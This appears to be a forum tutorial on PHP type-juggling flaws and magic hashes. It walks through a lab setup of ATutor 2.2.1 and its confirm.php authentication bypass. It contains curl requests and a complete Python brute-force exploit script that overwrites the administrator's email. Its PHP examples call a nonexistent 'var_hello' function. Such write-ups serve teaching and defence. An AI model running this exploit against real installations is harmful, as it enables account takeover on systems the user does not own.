Hello everyone! I am back again with another article, this time I will try to make it more fun and easy to go through. I think the last article was not much interactive and I will improve upon that mistake. Today we will be looking at Type Juggling Vulnerabilities and then look at real world exploit based on this vulnerability.
Note: You don't have to be an expert in PHP, only knowledge of basic programming skills are assumed. Another thing is that this vulnerability seems to be patched on php version 8/8+. However, versions below 8 are still vulnerable. According to this statistics, only 3.5% of the whole internet is using PHP version 8 or above which means there are 96.5% still vulnerable.
Before we start, you will have to install dependencies if you want to follow along when I demonstrate the real world vuln and it's exploit.
- Install php and it's dependencies (php5.6-mbstring php5.6-gd php5.6-mysql php5.6-xml php5.6-curl)
- Install apache2
- Install mysql-server (For debian, you will have to manually install it. Download it from here. Then, apt update. After that apt install mysql-server)
- Move the php file to /var/www/html.
Now, let's begin with the introduction!
1. Introduction
In PHP, there are 2 types of comparison modes. Let’s use the command line php to see how it works.
- Strict Comparison (===): Checks for the type of the operands as well as the value
PHP:
php > var_hello(1 === 1);php > var_hello("1" === 1);
Output:
bool(true)
bool(false)
2. Loose Comparison (==): Checks on the value of the operands.
PHP:
php > var_hello(1 == 1);
Output:
bool(true)
If the two operands are of different types, then there are some implicit type conversion rules that can create problems.
PHP:
php > var_hello("1" == 1);
Output:
bool(true)
That's all for the basics, let's jump on the the real part.
2. Exploiting Type Juggling Vulnerabilities
When comparing strings with numbers, PHP first converts the string into a numeric form and then compares the two operands. We will understand this with a couple of examples.
In the below example, the strings on the left hand side are directly converted to the integer values represented as strings. And thus the comparison results to true in each case.
PHP:
php > var_hello("1" == 1);
php > var_hello("000" == 0);
Output:
bool(true)
bool(true)
In the below example, the strings on the left hand side are being evaluated as the scientific notation ‘e’ and the exponent is calculated and compared with the integer. And the comparison results to be true.
PHP:
php > var_hello("1e1" == 10);
php > var_hello("0e123" == 0);
Output:
bool(true)
bool(true)
Below code, PHP tries to convert the left hand side strings to integers. And it does so by taking whatever is the integer before the first non-integer and compares it with the right hand side, and thus the comparison results to true.
PHP:
php > var_hello("0asd" == 0);
php > var_hello("123asd" == 123);
Output:
bool(true)
bool(true)
This is all fine, because PHP tries to convert the number in the string to an actual integer. But in the case of a random string:
PHP:
php > var_hello("asd" == 0);
Output:
bool(true)
This is where the problem lies and things start to get interesting. When it does not have a number to convert, PHP assumes the string to be zero ‘0’, and this can cause a lot of problems.
Some more of these interesting examples:
PHP:
php > var_hello("0e123" == "0e567");
php > var_hello("0e12345" == "0");
php > var_hello("0e345" == "0e123F");
Output:
bool(true)
bool(true)
bool(false)
In PHP, even though we provide two strings, if PHP identifies that they are potential integers, then PHP will compare them like integers after type conversion itself. In the first 1st example, strings start with "0e” followed by numbers. This will be converted to integers by PHP and both will be equated to 0.
The 3rd case returned "false” above because the 2nd string contains alphabets as well (notice the character "F” at the end). So type conversion happens if PHP thinks that it's a potential integer otherwise not (so in 3rd case, it’s compared as strings itself).
Now, let's look at the real world implications of this. Consider following code:
PHP:
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if ($a !== $b and md5($a) == md5($b)) {
echo "You Win!";
}
?>
So on first sight, we can never bypass this ‘if’ check because it's basically asking for 2 different strings, but those two strings must have the same md5 hash sum. This seems impossible without hash collisions but that's a different story.
But here, since the comparison between the md5 hash sums is a loose comparison this can be easily bypassed.
The next question is that a string is being returned by md5() on both the sides of the comparison. So we can use the case, when the string on both sides seems to be a number, then PHP will convert it to integers. We just need two different strings or numbers, whose md5 hash starts with ‘0e’ followed by only numbers. These types of hashes are called "Magic Hashes”.
Look at the following code:
PHP:
<?php
echo md5("QLTHNDT");
echo md5("QNKCDZO");
var_hello(md5("QLTHNDT") == md5("QNKCDZO"));
var_hello("0e405967825401955372549139051580" ==
"0e830400451993494058024219903391");
?>
Output:
0e405967825401955372549139051580
0e830400451993494058024219903391
bool(true)
bool(true)
We first take md5 of those 2 strings and then comparing it gives us the result true.
Now, let's try to pass the same strings via GET params. The checks will be bypassed.
Filename: type_juggling.php
Код:
curl "http://localhost/php/type_juggling.php?a=QLTHNDT&b=QNKCDZO"
Response:
You Win!
There are many such Magic Hashes that can be used in such scenarios:
PHP:
php > echo md5("PJNPDWY");
php > echo md5("NWWKITQ");
php > echo md5("etqaTTFXeujI");
php > echo md5("RSnakeKX0luCScPTlA");
php > echo md5("hashcatKjU2YvVIQTH0");
Output:
0e291529052894702774557631701704
0e763082070976038347657360817689
0e873986795817250807369213941548
0e090929726083772016603384876954
0ea32783087431623175057052593697
Phew! That was a lot to take in. Now, we will look at the real world vulnerability and it's exploitation.
3. ATutor type juggling Authentication Bypass
I will just copy paste what exactly ATutor is from their official docs. ATutor is an Open Source Learning Management System (LMS), used to develop and manage online courses, and to create and distribute elearning content. A critical type juggling vulnerability was found in Atutor 2.2.1 (confirm.php) using which an attacker can overwrite the email and eventually bypass the authentication.
Now, if you want to follow along then you will have to install ATutor's vulnerable version. Luckliy you won't have to do much setup because I happen to be familiar with Docker and you will just have to run a few commands to get up and running. Go the the docker's official site and install it according to your OS. After that follow the below steps:
Код:
# Download the zip file attached, unzip it.
unzip atutor_files.zip
cd atutor_files/
# Now we will have to build docker image, run the following command.
# It will take some time (15-25 minutes)
docker build -t atutor .
# Now we will need mysql docker for this, replace 'rootpwd' with your password
docker run -e MYSQL_ROOT_PASSWORD=rootpwd --name mysql -d mysql:5.6
# stop the previous apache2 service
sudo service apache2 stop
# finally, run the docker container
docker run -p80:80 --name atutor -d atutor
# get the IP for mysql container, we will need this in setup afterwards (it's usually 172.17.0.2)
docker inspect mysql
Now that atutor docker container is running, go to http://localhost and start the installation process. Click on “New Installation” and continue the steps. Enter correct database credentials (get the IP address of the MySQL container using the docker inspect command we ran above) and click next to set up DB.
Proceed with the installation and provide initial account setup credentials and super user details. Enter appropriate details on Account Setup. Click next until end of the installation.
Let’s explore the “confirm.php” file where the vulnerability is present. In order to get a shell and access files within docker, run the following:
Код:
# list docker containers
docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
4sscdd92a224 atutor "docker-php-entrypoi..." 50 minutes ago
Up 50 minutes 0.0.0.0:80->80/tcp atutor
4ae01457de4d mysql:5.6 "docker-entrypoint.s..." 55 minutes ago
Up 55 minutes 3306/tcp mysql
Copy the docker container id (in my case it's 4sscdd92a224 )
Код:
docker exec -it 4sscdd92a224 /bin/bash
This will give you shell access within the container.
4. Identifying the vulnerability
Let’s explore the confirm.php file and see how the vulnerability is present in the codebase:
Full code:
PHP:
if (isset($_GET['e'], $_GET['id'], $_GET['m'])) {
$id = intval($_GET['id']);
$m = $_GET['m'];
$e = $addslashes($_GET['e']);
$sql = "SELECT creation_date FROM %smembers WHERE member_id=%d";
$row = queryDB($sql, array(TABLE_PREFIX, $id), TRUE);
if ($row['creation_date'] != '') {
$code = substr(md5($e . $row['creation_date'] . $id), 0, 10);
if ($code == $m) {
$sql = "UPDATE %smembers SET email='%s', last_login=NOW(),
creation_date=creation_date WHERE member_id=%d";
$result = queryDB($sql, array(TABLE_PREFIX, $e, $id));
$msg->addFeedback('CONFIRM_GOOD');
header('Location: '.$_base_href.'users/index.php');
exit;
}
else {
$msg->addError('CONFIRM_BAD');
}
}
else {
$msg->addError('CONFIRM_BAD');
}
}
Let's break it down to understand it.
The code basically expects 3 parameters named “e” (email), “id” (user_id) and “m” (hash), all of which are GET params.
PHP:
if (isset($_GET['e'], $_GET['id'], $_GET['m'])) {
$id = intval($_GET['id']);
$m = $_GET['m'];
$e = $addslashes($_GET['e']);
On passing these params, the application retrieves the user “creation date” from the database and generates an MD5 hash by appending email along with creation_date and user_id.
PHP:
$sql = "SELECT creation_date FROM %smembers WHERE member_id=%d";
$row = queryDB($sql, array(TABLE_PREFIX, $id), TRUE);
if ($row['creation_date'] != '') {
$code = substr(md5($e . $row['creation_date'] . $id), 0, 10);
The first 10 characters of this hash is taken as “code” and is loosely compared with the parameter “m” which we send over GET.
PHP:
if ($code == $m) {
$sql = "UPDATE %smembers SET email='%s', last_login=NOW(),
creation_date=creation_date WHERE member_id=%d";
$result = queryDB($sql, array(TABLE_PREFIX, $e, $id));
If the first 10 characters of the generated hash has the format “0eDDDDDDDD” where D is an integer, then we can simply pass the GET parameter “m” as 0 and due to type juggling (loose comparison) the comparison will succeed and we can enter the “if” condition which updates the email for the user_id we send.
So in short, this is what we have so far:
- e => email (anything we wish to send to update in the DB)
- id => user_id of the user whose email we need to update. Usually the first created user is the admin whose user_id is always 1 (the account we created during the installation process)
- m => Hash value, we always keeps this 0.
So we can write a script which generates various emails belonging to a particular domain we control and always pass the “m” value as 0. For any one of the emails, the hash ($code) generated in the backed has the format 0eDDDDDDDD (where “D” is digit/integer) then due to loose comparison, it will equate to “0” (which is the “m” value we are passing).
For example, consider the creation time as “2020-11-08 07:45:14”, user_id as “1”, on passing the email “stderr@domain.com”, the hash calculation will be:
Python:
import hashlib
result = hashlib.md5(('stderr@domain.com' + '2020-11-08 07:45:14' + '1').encode('utf-8')).hexdigest()[:10]
print(result)
Output:
0e26388388
As we can see, the hash output contains only numbers starting with “0e” which is loosely compared with “0” will result in “True” and our email “stderr@domain.com” will get updated in the DB.
Код:
# this will update the email in the DB if creation_date is “2020-11-08 07:45:14"
curl -vv "http://localhost/confirm.php?e=stderr@domain.com&m=0&id=1"
But the creation_date cannot be predicted easily. So I wrote a script (I got some help from a buddy to write this script) which generates various emails by taking the domain name as the input which tries to brute force the server into updating the email (usually this brute force will take less than 10,000 requests)
Python:
import sys
import hashlib
import requests
def change_email(email,user_id):
url = "http://localhost/confirm.php?m=0&e=" + email + "&id=" + user_id
req = requests.get(url, allow_redirects=False)
if req.status_code == 302:
print "[+] Exploit successful. Email changed"
else:
print "[-] " + url
print "[-] Status Code: " + str(req.status_code)
print "[-] Exploit failed. "
return
def generate_hash(date, domain, user_id):
for i in range(0, 100000):
hash = hashlib.md5(str(i) + '@' + domain + date + user_id).hexdigest()[:10]
if '0e' in hash[:2] and hash[2:10].isdigit():
print "[+] Email found: " + str(i) + '@' + domain + " (" + hash + ")"
change_email(str(i) + '@' + domain, user_id)
break
def plain_brute_without_date(domain, user_id):
for i in range(0, 100000):
email = str(i) + '@' + domain
url = "http://localhost/confirm.php?m=0&e=" + email + "&id=" + user_id
req = requests.get(url, allow_redirects=False)
if req.status_code == 302:
print "[+] Exploit successful. Email changed: " + email
break
def main():
if len(sys.argv) == 3:
plain_brute_without_date(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 4:
generate_hash(sys.argv[1], sys.argv[2], sys.argv[3])
else:
print "[+] usage: %s <date> <domain> <id>" % sys.argv[0]
sys.exit(-1)
if __name__ == "__main__":
main()
That will be the end of this article! This bug is very common because in most of the programming languages ‘==’ is the standard method to compare two different operands. But in the case of PHP, It is always recommended to use ‘===’ or strong comparison, while doing any checks, as this prevents Type Juggling from occurring. Thank you for sticking till the end!
Вложения
Последнее редактирование: